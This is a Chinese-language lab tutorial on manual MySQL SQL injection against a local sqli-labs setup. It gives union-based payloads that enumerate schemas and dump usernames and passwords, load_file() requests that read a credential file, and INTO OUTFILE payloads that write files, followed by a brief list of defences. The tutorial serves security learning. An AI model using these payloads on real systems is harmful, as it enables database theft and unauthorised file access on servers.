目录
前提知识
靶场搭建
手工注入
高权限注入
sql注入之文件读写
基础防御
前提知识
- 数据库及sql语句知识,web相关知识。
- union合并查询的两个特征:前后查询互不干扰,前后查询的字段可以不同但是数量必须一致。
- order by 通过测试来猜解表的列数
- 掌握几个系统表中重要表
- %20:转义字符空格
- . 下一级(数据库,表,字段)
use information_schema;
select * from SCHEMATA;
select table_name from TABLES;
select column_name from COLUMNS;
靶场搭建
环境:win10虚拟机,sqli-labs,phpstudy
手工注入
- 判断有无注入点:and 1=1;随便输入:报错则有,没有报错则没有
- 猜解列名数量:order by 数字
- 判断回显点:
/?id=-1 union select 1,2,3
Your Login name:2
Your Password:3
- 信息收集
1,version(),database()
数据库版本,数据库名字
- 进行对应的sql注入
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'
union select 1,2,(select group_concat(username,password) from users)
高权限注入
- 注入条件:高版本,共享mysql服务器,且拥有高权限的注入漏洞
- 权限介绍:mysql系统数据库下面有四张表(最大权限为user表)
?id=-1%20union%20select%201,user(),3
- 获取所有的数据库名
?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
- 获取数据库下面的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='my_data'
- 查询表中对应的字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dept'
查询字段下面的信息
?id=-1%20union%20select%20name,deptno,name%20from%20my_data.dept
sql注入之文件读写
- 读写文件的权利
查看my.ini下面的secure_file_priv时。
secure_file_priv=
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/phpstudy/mysql/data
代表只能对该路径下文件进行读写
show global variables like '%secure%';
- bug修复
此时修改完 my.ini文件的配置后发现仍然为NULL,此时只需要重启mysql就行,打开管理员权限的cmd,然后执行下面的命令
net stop mysql
net start mysql
读取文件
使用函数: load_file()
注意:/=\\
?id=-1%20union%20select%201,load_file(%27d:/d.txt%27),3
http://localhost:8089/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-php7-master\\sql-connections\\db-creds.inc%27),3
报错路径,常见路径,遗留文件,漏洞报错,平台配置文件
- 写入文件
函数:into outfile(可写入多行,按照格式输出)和into Dumpfile(只能写入一行,且没有输出)
http://localhost:8089/Less-2/?id=-1%20union%20select%201,%27coleak%27,3%20into%20outfile%20%27d:/d2.txt%27%20--+
基础防御
- 魔术引号
- 内置函数
- 自定义关键字